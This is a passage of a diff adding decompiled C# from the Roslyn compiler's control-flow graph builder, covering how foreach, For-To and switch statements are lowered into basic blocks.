AppendNewBlock(labeledOrNewBlock); + EvalStackFrame frame = PushStackFrame(); + ConditionalBranch(getCondition(operation2), jumpIfTrue: false, labeledOrNewBlock2); + _currentBasicBlock = null; + PopStackFrameAndLeaveRegion(frame); + RegionBuilder region = new RegionBuilder(ControlFlowRegionKind.LocalLifetime, null, operation.Locals); + EnterRegion(region); + frame = PushStackFrame(); + AddStatement(getLoopControlVariableAssignment(applyConversion(info?.CurrentConversion, getCurrent(OperationCloner.CloneOperation(operation2)), info?.ElementType))); + PopStackFrameAndLeaveRegion(frame); + VisitStatement(operation.Body); + UnconditionalBranch(labeledOrNewBlock); + LeaveRegion(); + AppendNewBlock(labeledOrNewBlock2); + ForEachLoopOperationInfo forEachLoopOperationInfo2 = info; + if (forEachLoopOperationInfo2 != null && forEachLoopOperationInfo2.NeedsDispose) + { + BasicBlockBuilder basicBlockBuilder = new BasicBlockBuilder(BasicBlockKind.Block); + UnconditionalBranch(basicBlockBuilder); + LeaveRegion(); + bool isAsynchronous = info.IsAsynchronous; + ITypeSymbol typeSymbol; + if (!isAsynchronous) + { + ITypeSymbol specialType = _compilation.GetSpecialType(SpecialType.System_IDisposable); + typeSymbol = specialType; + } + else + { + typeSymbol = _compilation.CommonGetWellKnownType(WellKnownType.System_IAsyncDisposable).GetITypeSymbol(); + } + ITypeSymbol iDisposable = typeSymbol; + AddDisposingFinally(OperationCloner.CloneOperation(operation2), !info.KnownToImplementIDisposable && info.PatternDisposeMethod == null, iDisposable, info.PatternDisposeMethod, info.DisposeArguments, isAsynchronous); + LeaveRegion(); + AppendNewBlock(basicBlockBuilder, linkToPrevious: false); + } + LeaveRegion(); + return FinishVisitingStatement(operation); + static IOperation applyConversion(IConvertibleConversion? conversionOpt, IOperation operand, ITypeSymbol? targetType) + { + if (conversionOpt != null && !conversionOpt.ToCommonConversion().IsIdentity) + { + operand = new ConversionOperation(operand, conversionOpt, isTryCast: false, isChecked: false, null, operand.Syntax, targetType, null, isImplicit: true); + } + return operand; + } + IOperation getCondition(IOperation enumeratorRef) + { + if (info?.MoveNextMethod != null) + { + InvocationOperation invocationOperation = makeInvocationDroppingInstanceForStaticMethods(info.MoveNextMethod, enumeratorRef, info.MoveNextArguments); + if (operation.IsAsynchronous) + { + return new AwaitOperation(invocationOperation, null, operation.Syntax, _compilation.GetSpecialType(SpecialType.System_Boolean), isImplicit: true); + } + return invocationOperation; + } + return MakeInvalidOperation(_compilation.GetSpecialType(SpecialType.System_Boolean), enumeratorRef); + } + IOperation getCurrent(IOperation enumeratorRef) + { + if (info?.CurrentProperty != null) + { + IOperation instance = (info.CurrentProperty.IsStatic ? null : enumeratorRef); + ImmutableArray arguments = makeArguments(info.CurrentArguments, ref instance); + return new PropertyReferenceOperation(info.CurrentProperty, null, arguments, instance, null, operation.LoopControlVariable.Syntax, info.CurrentProperty.Type, isImplicit: true); + } + return MakeInvalidOperation(null, enumeratorRef); + } + IOperation getEnumerator() + { + EvalStackFrame frame2 = PushStackFrame(); + IOperation result; + if (info?.GetEnumeratorMethod != null) + { + IOperation operation3 = (info.GetEnumeratorMethod.IsStatic ? null : Visit(operation.Collection)); + if (operation3 != null) + { + IConvertibleConversion inlineArrayConversion = info.InlineArrayConversion; + if (inlineArrayConversion != null) + { + if (info.CollectionIsInlineArrayValue) + { + int nextCaptureId = GetNextCaptureId(enumeratorCaptureRegion); + AddStatement(new FlowCaptureOperation(nextCaptureId, operation.Collection.Syntax, operation3)); + operation3 = new FlowCaptureReferenceOperation(nextCaptureId, operation.Collection.Syntax, operation3.Type, null); + } + operation3 = applyConversion(inlineArrayConversion, operation3, info.GetEnumeratorMethod.ContainingType); + } + } + IOperation value = makeInvocation(operation.Collection.Syntax, info.GetEnumeratorMethod, operation3, info.GetEnumeratorArguments); + int nextCaptureId2 = GetNextCaptureId(enumeratorCaptureRegion); + AddStatement(new FlowCaptureOperation(nextCaptureId2, operation.Collection.Syntax, value)); + result = new FlowCaptureReferenceOperation(nextCaptureId2, operation.Collection.Syntax, info.GetEnumeratorMethod.ReturnType, null); + } + else + { + AddStatement(MakeInvalidOperation(null, VisitRequired(operation.Collection))); + result = new InvalidOperation(ImmutableArray.Empty, null, operation.Collection.Syntax, null, null, isImplicit: true); + } + PopStackFrameAndLeaveRegion(frame2); + return result; + } + IOperation getLoopControlVariableAssignment(IOperation current) + { + switch (operation.LoopControlVariable.Kind) + { + case OperationKind.VariableDeclarator: + { + IVariableDeclaratorOperation variableDeclaratorOperation = (IVariableDeclaratorOperation)operation.LoopControlVariable; + ILocalSymbol symbol2 = variableDeclaratorOperation.Symbol; + current = applyConversion(info?.ElementConversion, current, symbol2.Type); + return new SimpleAssignmentOperation(symbol2.RefKind != RefKind.None, new LocalReferenceOperation(symbol2, isDeclaration: true, null, variableDeclaratorOperation.Syntax, symbol2.Type, null, isImplicit: true), current, null, variableDeclaratorOperation.Syntax, null, null, isImplicit: true); + } + case OperationKind.Tuple: + case OperationKind.DeclarationExpression: + return new DeconstructionAssignmentOperation(VisitPreservingTupleOperations(operation.LoopControlVariable), current, null, operation.LoopControlVariable.Syntax, operation.LoopControlVariable.Type, isImplicit: true); + default: + return new SimpleAssignmentOperation(isRef: false, VisitRequired(operation.LoopControlVariable), current, null, operation.LoopControlVariable.Syntax, operation.LoopControlVariable.Type, null, isImplicit: true); + } + } + ImmutableArray makeArguments(ImmutableArray arguments, ref IOperation? instance) + { + if (!arguments.IsDefaultOrEmpty) + { + bool flag = instance != null; + if (flag) + { + PushOperand(instance); + } + arguments = VisitArguments(arguments, flag); + instance = (flag ? PopOperand() : null); + return arguments; + } + return ImmutableArray.Empty; + } + InvocationOperation makeInvocation(SyntaxNode syntax, IMethodSymbol method, IOperation? instanceOpt, ImmutableArray arguments) + { + ImmutableArray arguments2 = makeArguments(arguments, ref instanceOpt); + return new InvocationOperation(method, null, instanceOpt, method.IsVirtual || method.IsAbstract || method.IsOverride, arguments2, null, syntax, method.ReturnType, isImplicit: true); + } + InvocationOperation makeInvocationDroppingInstanceForStaticMethods(IMethodSymbol method, IOperation instance, ImmutableArray arguments) + { + return makeInvocation(instance.Syntax, method, method.IsStatic ? null : instance, arguments); + } + } + + public override IOperation? VisitForToLoop(IForToLoopOperation operation, int? captureIdForResult) + { + StartVisitingStatement(operation); + (ILocalSymbol, ForToLoopOperationUserDefinedInfo) info = ((ForToLoopOperation)operation).Info; + ILocalSymbol loopObject = info.Item1; + ForToLoopOperationUserDefinedInfo userDefinedInfo = info.Item2; + bool isObjectLoop = loopObject != null; + ImmutableArray locals = operation.Locals; + if (isObjectLoop) + { + locals = locals.Insert(0, loopObject); + } + ITypeSymbol booleanType = _compilation.GetSpecialType(SpecialType.System_Boolean); + BasicBlockBuilder labeledOrNewBlock = GetLabeledOrNewBlock(operation.ContinueLabel); + BasicBlockBuilder @break = GetLabeledOrNewBlock(operation.ExitLabel); + BasicBlockBuilder basicBlockBuilder = new BasicBlockBuilder(BasicBlockKind.Block); + BasicBlockBuilder bodyBlock = new BasicBlockBuilder(BasicBlockKind.Block); + RegionBuilder loopRegion = new RegionBuilder(ControlFlowRegionKind.LocalLifetime, null, locals); + EnterRegion(loopRegion); + int limitValueId = -1; + int stepValueId = -1; + IFlowCaptureReferenceOperation positiveFlag = null; + ITypeSymbol stepEnumUnderlyingTypeOrSelf = ITypeSymbolHelpers.GetEnumUnderlyingTypeOrSelf(operation.StepValue.Type); + initializeLoop(); + AppendNewBlock(basicBlockBuilder); + checkLoopCondition(); + AppendNewBlock(bodyBlock); + VisitStatement(operation.Body); + AppendNewBlock(labeledOrNewBlock); + incrementLoopControlVariable(); + UnconditionalBranch(basicBlockBuilder); + LeaveRegion(); + AppendNewBlock(@break); + return FinishVisitingStatement(operation); + void checkLoopCondition() + { + if (isObjectLoop) + { + EvalStackFrame frame = PushStackFrame(); + PushOperand(visitLoopControlVariableReference(forceImplicit: true)); + IOperation condition = tryCallObjectForLoopControlHelper(operation.LimitValue.Syntax, WellKnownMember.Microsoft_VisualBasic_CompilerServices_ObjectFlowControl_ForLoopControl__ForNextCheckObj); + ConditionalBranch(condition, jumpIfTrue: false, @break); + UnconditionalBranch(bodyBlock); + PopStackFrameAndLeaveRegion(frame); + } + else if (userDefinedInfo != null) + { + EvalStackFrame frame2 = PushStackFrame(); + PushOperand(visitLoopControlVariableReference(forceImplicit: true)); + SpillEvalStack(); + IOperation forToLoopBinaryOperatorLeftOperand = PopOperand(); + BasicBlockBuilder basicBlockBuilder2 = new BasicBlockBuilder(BasicBlockKind.Block); + ConditionalBranch(positiveFlag, jumpIfTrue: false, basicBlockBuilder2); + _currentBasicBlock = null; + _forToLoopBinaryOperatorLeftOperand = forToLoopBinaryOperatorLeftOperand; + _forToLoopBinaryOperatorRightOperand = GetCaptureReference(limitValueId, operation.LimitValue); + VisitConditionalBranch(userDefinedInfo.LessThanOrEqual, ref @break, jumpIfTrue: false); + UnconditionalBranch(bodyBlock); + AppendNewBlock(basicBlockBuilder2); + _forToLoopBinaryOperatorLeftOperand = OperationCloner.CloneOperation(_forToLoopBinaryOperatorLeftOperand); + _forToLoopBinaryOperatorRightOperand = OperationCloner.CloneOperation(_forToLoopBinaryOperatorRightOperand); + VisitConditionalBranch(userDefinedInfo.GreaterThanOrEqual, ref @break, jumpIfTrue: false); + UnconditionalBranch(bodyBlock); + PopStackFrameAndLeaveRegion(frame2); + _forToLoopBinaryOperatorLeftOperand = null; + _forToLoopBinaryOperatorRightOperand = null; + } + else + { + EvalStackFrame frame3 = PushStackFrame(); + PushOperand(visitLoopControlVariableReference(forceImplicit: true)); + IOperation operation2 = GetCaptureReference(limitValueId, operation.LimitValue); + BinaryOperatorKind binaryOperatorKind = BinaryOperatorKind.None; + if (ITypeSymbolHelpers.IsUnsignedIntegralType(stepEnumUnderlyingTypeOrSelf)) + { + binaryOperatorKind = BinaryOperatorKind.LessThanOrEqual; + } + else + { + ConstantValue constantValue = operation.StepValue.GetConstantValue(); + if ((object)constantValue != null && !constantValue.IsBad) + { + if (constantValue.IsNegativeNumeric) + { + binaryOperatorKind = BinaryOperatorKind.GreaterThanOrEqual; + } + else if (constantValue.IsNumeric) + { + binaryOperatorKind = BinaryOperatorKind.LessThanOrEqual; + } + } + } + if (binaryOperatorKind == BinaryOperatorKind.None && ITypeSymbolHelpers.IsSignedIntegralType(stepEnumUnderlyingTypeOrSelf)) + { + binaryOperatorKind = BinaryOperatorKind.LessThanOrEqual; + PushOperand(negateIfStepNegative(PopOperand())); + operation2 = negateIfStepNegative(operation2); + } + if (binaryOperatorKind != BinaryOperatorKind.None) + { + IOperation condition2 = new BinaryOperation(binaryOperatorKind, PopOperand(), operation2, isLifted: false, isChecked: false, isCompareText: false, null, null, null, null, operation.LimitValue.Syntax, booleanType, null, isImplicit: true); + ConditionalBranch(condition2, jumpIfTrue: false, @break); + UnconditionalBranch(bodyBlock); + PopStackFrameAndLeaveRegion(frame3); + } + else if (positiveFlag == null) + { + IOperation condition2 = MakeInvalidOperation(operation.LimitValue.Syntax, booleanType, PopOperand(), operation2); + ConditionalBranch(condition2, jumpIfTrue: false, @break); + UnconditionalBranch(bodyBlock); + PopStackFrameAndLeaveRegion(frame3); + } + else + { + IOperation operation3 = null; + if (ITypeSymbolHelpers.IsNullableType(operation.LimitValue.Type)) + { + operation3 = new BinaryOperation(BinaryOperatorKind.Or, MakeIsNullOperation(operation2, booleanType), MakeIsNullOperation(PopOperand(), booleanType), isLifted: false, isChecked: false, isCompareText: false, null, null, null, null, operation.StepValue.Syntax, _compilation.GetSpecialType(SpecialType.System_Boolean), null, isImplicit: true); + BasicBlockBuilder basicBlockBuilder3 = new BasicBlockBuilder(BasicBlockKind.Block); + ConditionalBranch(operation3, jumpIfTrue: false, basicBlockBuilder3); + UnconditionalBranch(@break); + PopStackFrameAndLeaveRegion(frame3); + AppendNewBlock(basicBlockBuilder3); + frame3 = PushStackFrame(); + PushOperand(CallNullableMember(visitLoopControlVariableReference(forceImplicit: true), SpecialMember.System_Nullable_T_GetValueOrDefault)); + operation2 = CallNullableMember(GetCaptureReference(limitValueId, operation.LimitValue), SpecialMember.System_Nullable_T_GetValueOrDefault); + } + SpillEvalStack(); + IOperation operation4 = PopOperand(); + BasicBlockBuilder basicBlockBuilder4 = new BasicBlockBuilder(BasicBlockKind.Block); + ConditionalBranch(positiveFlag, jumpIfTrue: false, basicBlockBuilder4); + _currentBasicBlock = null; + IOperation condition2 = new BinaryOperation(BinaryOperatorKind.LessThanOrEqual, operation4, operation2, isLifted: false, isChecked: false, isCompareText: false, null, null, null, null, operation.LimitValue.Syntax, booleanType, null, isImplicit: true); + ConditionalBranch(condition2, jumpIfTrue: false, @break); + UnconditionalBranch(bodyBlock); + AppendNewBlock(basicBlockBuilder4); + condition2 = new BinaryOperation(BinaryOperatorKind.GreaterThanOrEqual, OperationCloner.CloneOperation(operation4), OperationCloner.CloneOperation(operation2), isLifted: false, isChecked: false, isCompareText: false, null, null, null, null, operation.LimitValue.Syntax, booleanType, null, isImplicit: true); + ConditionalBranch(condition2, jumpIfTrue: false, @break); + UnconditionalBranch(bodyBlock); + PopStackFrameAndLeaveRegion(frame3); + } + } + } + void incrementLoopControlVariable() + { + if (!isObjectLoop) + { + if (userDefinedInfo != null) + { + EvalStackFrame frame = PushStackFrame(); + IOperation operation2 = visitLoopControlVariableReference(forceImplicit: true); + PushOperand(operation2); + _forToLoopBinaryOperatorLeftOperand = visitLoopControlVariableReference(forceImplicit: true); + _forToLoopBinaryOperatorRightOperand = GetCaptureReference(stepValueId, operation.StepValue); + IOperation value = VisitRequired(userDefinedInfo.Addition); + _forToLoopBinaryOperatorLeftOperand = null; + _forToLoopBinaryOperatorRightOperand = null; + operation2 = PopOperand(); + AddStatement(new SimpleAssignmentOperation(isRef: false, operation2, value, null, operation2.Syntax, null, null, isImplicit: true)); + PopStackFrameAndLeaveRegion(frame); + } + else + { + BasicBlockBuilder basicBlockBuilder2 = new BasicBlockBuilder(BasicBlockKind.Block); + bool flag = ITypeSymbolHelpers.IsNullableType(operation.StepValue.Type); + EvalStackFrame frame2 = PushStackFrame(); + PushOperand(visitLoopControlVariableReference(forceImplicit: true)); + IOperation operation3; + if (flag) + { + SpillEvalStack(); + BasicBlockBuilder basicBlockBuilder3 = new BasicBlockBuilder(BasicBlockKind.Block); + EvalStackFrame frame3 = PushStackFrame(); + IOperation condition = new BinaryOperation(BinaryOperatorKind.Or, MakeIsNullOperation(GetCaptureReference(stepValueId, operation.StepValue), booleanType), MakeIsNullOperation(visitLoopControlVariableReference(forceImplicit: true), booleanType), isLifted: false, isChecked: false, isCompareText: false, null, null, null, null, operation.StepValue.Syntax, _compilation.GetSpecialType(SpecialType.System_Boolean), null, isImplicit: true); + ConditionalBranch(condition, jumpIfTrue: false, basicBlockBuilder3); + _currentBasicBlock = null; + PopStackFrameAndLeaveRegion(frame3); + operation3 = OperationCloner.CloneOperation(PeekOperand()); + AddStatement(new SimpleAssignmentOperation(isRef: false, operation3, new DefaultValueOperation(null, operation3.Syntax, operation3.Type, null, isImplicit: true), null, operation3.Syntax, null, null, isImplicit: true)); + UnconditionalBranch(basicBlockBuilder2); + AppendNewBlock(basicBlockBuilder3); + } + IOperation operation4 = visitLoopControlVariableReference(forceImplicit: true); + IOperation operation5 = GetCaptureReference(stepValueId, operation.StepValue); + if (flag) + { + operation4 = CallNullableMember(operation4, SpecialMember.System_Nullable_T_GetValueOrDefault); + operation5 = CallNullableMember(operation5, SpecialMember.System_Nullable_T_GetValueOrDefault); + } + IOperation operation6 = new BinaryOperation(BinaryOperatorKind.Add, operation4, operation5, isLifted: false, operation.IsChecked, isCompareText: false, null, null, null, null, operation.StepValue.Syntax, operation4.Type, null, isImplicit: true); + operation3 = PopOperand(); + if (flag) + { + operation6 = MakeNullable(operation6, operation3.Type); + } + AddStatement(new SimpleAssignmentOperation(isRef: false, operation3, operation6, null, operation3.Syntax, null, null, isImplicit: true)); + PopStackFrame(frame2, !flag); + LeaveRegionIfAny(frame2); + AppendNewBlock(basicBlockBuilder2); + } + } + } + void initializeLoop() + { + EvalStackFrame frame = PushStackFrame(); + PushOperand(visitLoopControlVariableReference(forceImplicit: false)); + PushOperand(VisitRequired(operation.InitialValue)); + if (isObjectLoop) + { + PushOperand(VisitRequired(operation.LimitValue)); + PushOperand(VisitRequired(operation.StepValue)); + IOperation condition = tryCallObjectForLoopControlHelper(operation.LoopControlVariable.Syntax, WellKnownMember.Microsoft_VisualBasic_CompilerServices_ObjectFlowControl_ForLoopControl__ForLoopInitObj); + ConditionalBranch(condition, jumpIfTrue: false, @break); + UnconditionalBranch(bodyBlock); + } + else + { + SpillEvalStack(); + _ = CurrentRegionRequired; + limitValueId = GetNextCaptureId(loopRegion); + VisitAndCapture(operation.LimitValue, limitValueId); + stepValueId = GetNextCaptureId(loopRegion); + VisitAndCapture(operation.StepValue, stepValueId); + IOperation operation2 = GetCaptureReference(stepValueId, operation.StepValue); + if (userDefinedInfo != null) + { + _forToLoopBinaryOperatorLeftOperand = GetCaptureReference(stepValueId, operation.StepValue); + _forToLoopBinaryOperatorRightOperand = GetCaptureReference(stepValueId, operation.StepValue); + IOperation forToLoopBinaryOperatorRightOperand = VisitRequired(userDefinedInfo.Subtraction); + _forToLoopBinaryOperatorLeftOperand = operation2; + _forToLoopBinaryOperatorRightOperand = forToLoopBinaryOperatorRightOperand; + int nextCaptureId = GetNextCaptureId(loopRegion); + VisitAndCapture(userDefinedInfo.GreaterThanOrEqual, nextCaptureId); + positiveFlag = GetCaptureReference(nextCaptureId, userDefinedInfo.GreaterThanOrEqual); + _forToLoopBinaryOperatorLeftOperand = null; + _forToLoopBinaryOperatorRightOperand = null; + } + else + { + ConstantValue constantValue = operation.StepValue.GetConstantValue(); + if (((object)constantValue == null || constantValue.IsBad) && !ITypeSymbolHelpers.IsSignedIntegralType(stepEnumUnderlyingTypeOrSelf) && !ITypeSymbolHelpers.IsUnsignedIntegralType(stepEnumUnderlyingTypeOrSelf)) + { + IOperation operation3 = null; + if (ITypeSymbolHelpers.IsNullableType(operation2.Type)) + { + operation3 = MakeIsNullOperation(GetCaptureReference(stepValueId, operation.StepValue), booleanType); + operation2 = CallNullableMember(operation2, SpecialMember.System_Nullable_T_GetValueOrDefault); + } + ITypeSymbol enumUnderlyingTypeOrSelf = ITypeSymbolHelpers.GetEnumUnderlyingTypeOrSelf(operation2.Type); + if (ITypeSymbolHelpers.IsNumericType(enumUnderlyingTypeOrSelf)) + { + int nextCaptureId2 = GetNextCaptureId(loopRegion); + BasicBlockBuilder basicBlockBuilder2 = new BasicBlockBuilder(BasicBlockKind.Block); + IOperation operation4; + if (operation3 != null) + { + BasicBlockBuilder basicBlockBuilder3 = new BasicBlockBuilder(BasicBlockKind.Block); + ConditionalBranch(operation3, jumpIfTrue: false, basicBlockBuilder3); + _currentBasicBlock = null; + operation4 = new LiteralOperation(null, operation2.Syntax, booleanType, ConstantValue.Create(value: false), isImplicit: true); + AddStatement(new FlowCaptureOperation(nextCaptureId2, operation4.Syntax, operation4)); + UnconditionalBranch(basicBlockBuilder2); + AppendNewBlock(basicBlockBuilder3); + } + IOperation rightOperand = new LiteralOperation(null, operation2.Syntax, operation2.Type, ConstantValue.Default(enumUnderlyingTypeOrSelf.SpecialType), isImplicit: true); + operation4 = new BinaryOperation(BinaryOperatorKind.GreaterThanOrEqual, operation2, rightOperand, isLifted: false, isChecked: false, isCompareText: false, null, null, null, null, operation2.Syntax, booleanType, null, isImplicit: true); + AddStatement(new FlowCaptureOperation(nextCaptureId2, operation4.Syntax, operation4)); + AppendNewBlock(basicBlockBuilder2); + positiveFlag = GetCaptureReference(nextCaptureId2, operation4); + } + } + } + IOperation value = PopOperand(); + AddStatement(new SimpleAssignmentOperation(isRef: false, PopOperand(), value, null, operation.InitialValue.Syntax, null, null, isImplicit: true)); + } + PopStackFrameAndLeaveRegion(frame); + } + IOperation negateIfStepNegative(IOperation operand) + { + int value = stepEnumUnderlyingTypeOrSelf.SpecialType.VBForToShiftBits(); + LiteralOperation rightOperand = new LiteralOperation(null, operand.Syntax, _compilation.GetSpecialType(SpecialType.System_Int32), ConstantValue.Create(value), isImplicit: true); + BinaryOperation leftOperand = new BinaryOperation(BinaryOperatorKind.RightShift, GetCaptureReference(stepValueId, operation.StepValue), rightOperand, isLifted: false, isChecked: false, isCompareText: false, null, null, null, null, operand.Syntax, operation.StepValue.Type, null, isImplicit: true); + return new BinaryOperation(BinaryOperatorKind.ExclusiveOr, leftOperand, operand, isLifted: false, isChecked: false, isCompareText: false, null, null, null, null, operand.Syntax, operand.Type, null, isImplicit: true); + } + IOperation tryCallObjectForLoopControlHelper(SyntaxNode syntax, WellKnownMember helper) + { + bool flag = helper == WellKnownMember.Microsoft_VisualBasic_CompilerServices_ObjectFlowControl_ForLoopControl__ForLoopInitObj; + LocalReferenceOperation value = new LocalReferenceOperation(loopObject, flag, null, operation.LoopControlVariable.Syntax, loopObject.Type, null, isImplicit: true); + IMethodSymbol methodSymbol = (IMethodSymbol)(_compilation.CommonGetWellKnownTypeMember(helper)?.GetISymbol()); + int parametersCount = WellKnownMembers.GetDescriptor(helper).ParametersCount; + if (methodSymbol == null) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(--parametersCount, null); + instance[--parametersCount] = value; + do + { + instance[--parametersCount] = PopOperand(); + } + while (parametersCount != 0); + return MakeInvalidOperation(operation.LimitValue.Syntax, booleanType, instance.ToImmutableAndFree()); + } + ArrayBuilder instance2 = ArrayBuilder.GetInstance(parametersCount, null); + instance2[--parametersCount] = new ArgumentOperation(ArgumentKind.Explicit, methodSymbol.Parameters[parametersCount], visitLoopControlVariableReference(forceImplicit: true), OperationFactory.IdentityConversion, OperationFactory.IdentityConversion, null, syntax, isImplicit: true); + instance2[--parametersCount] = new ArgumentOperation(ArgumentKind.Explicit, methodSymbol.Parameters[parametersCount], value, OperationFactory.IdentityConversion, OperationFactory.IdentityConversion, null, syntax, isImplicit: true); + do + { + IOperation operation2 = PopOperand(); + instance2[--parametersCount] = new ArgumentOperation(ArgumentKind.Explicit, methodSymbol.Parameters[parametersCount], operation2, OperationFactory.IdentityConversion, OperationFactory.IdentityConversion, null, flag ? operation2.Syntax : syntax, isImplicit: true); + } + while (parametersCount != 0); + return new InvocationOperation(methodSymbol, null, null, isVirtual: false, instance2.ToImmutableAndFree(), null, operation.LimitValue.Syntax, methodSymbol.ReturnType, isImplicit: true); + } + IOperation visitLoopControlVariableReference(bool forceImplicit) + { + if (operation.LoopControlVariable.Kind != OperationKind.VariableDeclarator) + { + _forceImplicit = forceImplicit; + IOperation? result = VisitRequired(operation.LoopControlVariable); + _forceImplicit = false; + return result; + } + IVariableDeclaratorOperation variableDeclaratorOperation = (IVariableDeclaratorOperation)operation.LoopControlVariable; + ILocalSymbol symbol = variableDeclaratorOperation.Symbol; + return new LocalReferenceOperation(symbol, isDeclaration: true, null, variableDeclaratorOperation.Syntax, symbol.Type, null, isImplicit: true); + } + } + + private static FlowCaptureReferenceOperation GetCaptureReference(int id, IOperation underlying) + { + return new FlowCaptureReferenceOperation(id, underlying.Syntax, underlying.Type, underlying.GetConstantValue()); + } + + internal override IOperation VisitAggregateQuery(IAggregateQueryOperation operation, int? captureIdForResult) + { + SpillEvalStack(); + IOperation currentAggregationGroup = _currentAggregationGroup; + _currentAggregationGroup = VisitAndCapture(operation.Group); + IOperation? result = VisitRequired(operation.Aggregation); + _currentAggregationGroup = currentAggregationGroup; + return result; + } + + public override IOperation? VisitSwitch(ISwitchOperation operation, int? captureIdForResult) + { + StartVisitingStatement(operation); + INamedTypeSymbol booleanType = _compilation.GetSpecialType(SpecialType.System_Boolean); + IOperation switchValue = VisitAndCapture(operation.Value); + ImmutableArray locals = getLocals(); + RegionBuilder region = new RegionBuilder(ControlFlowRegionKind.LocalLifetime, null, locals); + EnterRegion(region); + BasicBlockBuilder defaultBody = null; + BasicBlockBuilder @break = GetLabeledOrNewBlock(operation.ExitLabel); + ImmutableArray.Enumerator enumerator = operation.Cases.GetEnumerator(); + while (enumerator.MoveNext()) + { + ISwitchCaseOperation current = enumerator.Current; + handleSection(current); + } + if (defaultBody != null) + { + UnconditionalBranch(defaultBody); + } + LeaveRegion(); + AppendNewBlock(@break); + return FinishVisitingStatement(operation); + ImmutableArray getLocals() + { + ImmutableArray immutableArray = operation.Locals; + ImmutableArray.Enumerator enumerator2 = operation.Cases.GetEnumerator(); + while (enumerator2.MoveNext()) + { + ISwitchCaseOperation current2 = enumerator2.Current; + immutableArray = immutableArray.Concat(current2.Locals); + } + return immutableArray; + } + void handleCase(ICaseClauseOperation caseClause, BasicBlockBuilder body, [DisallowNull] BasicBlockBuilder? nextCase) + { + BasicBlockBuilder labeled = GetLabeledOrNewBlock(caseClause.Label); + LinkBlocks(labeled, body); + IOperation condition; + switch (caseClause.CaseKind) + { + case CaseKind.SingleValue: + handleEqualityCheck(((ISingleValueCaseClauseOperation)caseClause).Value); + break; + case CaseKind.Pattern: + { + IPatternCaseClauseOperation patternCaseClauseOperation = (IPatternCaseClauseOperation)caseClause; + EvalStackFrame frame = PushStackFrame(); + PushOperand(OperationCloner.CloneOperation(switchValue)); + IPatternOperation pattern = (IPatternOperation)VisitRequired(patternCaseClauseOperation.Pattern); + condition = new IsPatternOperation(PopOperand(), pattern, null, patternCaseClauseOperation.Pattern.Syntax, booleanType, isImplicit: true); + ConditionalBranch(condition, jumpIfTrue: false, nextCase); + PopStackFrameAndLeaveRegion(frame); + if (patternCaseClauseOperation.Guard != null) + { + AppendNewBlock(new BasicBlockBuilder(BasicBlockKind.Block)); + VisitConditionalBranch(patternCaseClauseOperation.Guard, ref nextCase, jumpIfTrue: false); + } + AppendNewBlock(labeled); + _currentBasicBlock = null; + break; + } + case CaseKind.Relational: + { + IRelationalCaseClauseOperation relationalCaseClauseOperation = (IRelationalCaseClauseOperation)caseClause; + if (relationalCaseClauseOperation.Relation != BinaryOperatorKind.Equals) + { + throw ExceptionUtilities.UnexpectedValue(relationalCaseClauseOperation.Relation); + } + handleEqualityCheck(relationalCaseClauseOperation.Value); + break; + } + case CaseKind.Default: + _ = (IDefaultCaseClauseOperation)caseClause; + if (defaultBody == null) + { + defaultBody = labeled; + } + UnconditionalBranch(nextCase); + AppendNewBlock(labeled); + _currentBasicBlock = null; + break; + default: + throw ExceptionUtilities.UnexpectedValue(caseClause.CaseKind); + } + void handleEqualityCheck(IOperation compareWith) + { + bool flag = ITypeSymbolHelpers.IsNullableType(operation.Value.Type); + bool flag2 = ITypeSymbolHelpers.IsNullableType(compareWith.Type); + bool flag3 = flag || flag2; + EvalStackFrame frame2 = PushStackFrame(); + PushOperand(OperationCloner.CloneOperation(switchValue)); + IOperation operation2 = VisitRequired(compareWith); + IOperation operation3 = PopOperand(); + if (flag3) + { + if (!flag) + { + if (operation3.Type != null) + { + operation3 = MakeNullable(operation3, compareWith.Type); + } + } + else if (!flag2 && operation2.Type != null) + { + operation2 = MakeNullable(operation2, operation.Value.Type); + } + } + condition = new BinaryOperation(BinaryOperatorKind.Equals, operation3, operation2, flag3, isChecked: false, isCompareText: false, null, null, null, null, compareWith.Syntax, booleanType, null, isImplicit: true); + ConditionalBranch(condition, jumpIfTrue: false, nextCase); + PopStackFrameAndLeaveRegion(frame2); + AppendNewBlock(labeled); + _currentBasicBlock = null; + } + } + void handleSection(ISwitchCaseOperation section) + { + BasicBlockBuilder basicBlockBuilder = new BasicBlockBuilder(BasicBlockKind.Block); + BasicBlockBuilder dest = new BasicBlockBuilder(BasicBlockKind.Block); + IOperation condition = ((SwitchCaseOperation)section).Condition; + if (condition != null) + { + _currentSwitchOperationExpression = switchValue; + VisitConditionalBranch(condition, ref dest, jumpIfTrue: false); + _currentSwitchOperationExpression = null; + } + else + { + ImmutableArray.Enumerator enumerator2 = section.Clauses.GetEnumerator(); + while (enumerator2.MoveNext()) + { + ICaseClauseOperation current2 = enumerator2.Current; + BasicBlockBuilder basicBlockBuilder2 = new BasicBlockBuilder(BasicBlockKind.Block); + handleCase(current2, basicBlockBuilder, basicBlockBuilder2); + AppendNewBlock(basicBlockBuilder2); + } + UnconditionalBranch(dest); + } + AppendNewBlock(basicBlockBuilder); + VisitStatements(section.Body); + UnconditionalBranch(@break); + AppendNewBlock(dest); + } + } + + private IOperation MakeNullable(IOperation operand, ITypeSymbol type) + { + return CreateConversion(operand, type); + } + + public override IOperation VisitSwitchCase(ISwitchCaseOperation operation, int? captureIdForResult) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Operations/ControlFlowGraphBuilder.cs", 5602); + } + + public override IOperation VisitSingleValueCaseClause(ISingleValueCaseClauseOperation operation, int? captureIdForResult) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Operations/ControlFlowGraphBuilder.cs", 5607); + } + + public override IOperation VisitDefaultCaseClause(IDefaultCaseClauseOperation operation, int? captureIdForResult) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Operations/ControlFlowGraphBuilder.cs", 5612); + } + + public override IOperation VisitRelationalCaseClause(IRelationalCaseClauseOperation operation, int? captureIdForResult) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Operations/ControlFlowGraphBuilder.cs", 5617); + } + + public override IOperation VisitRangeCaseClause(IRangeCaseClauseOperation operation, int? captureIdForResult) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Operations/ControlFlowGraphBuilder.cs", 5622); + } + + public override IOperation VisitPatternCaseClause(IPatternCaseClauseOperation operation, int? captureIdForResult) + { + throw 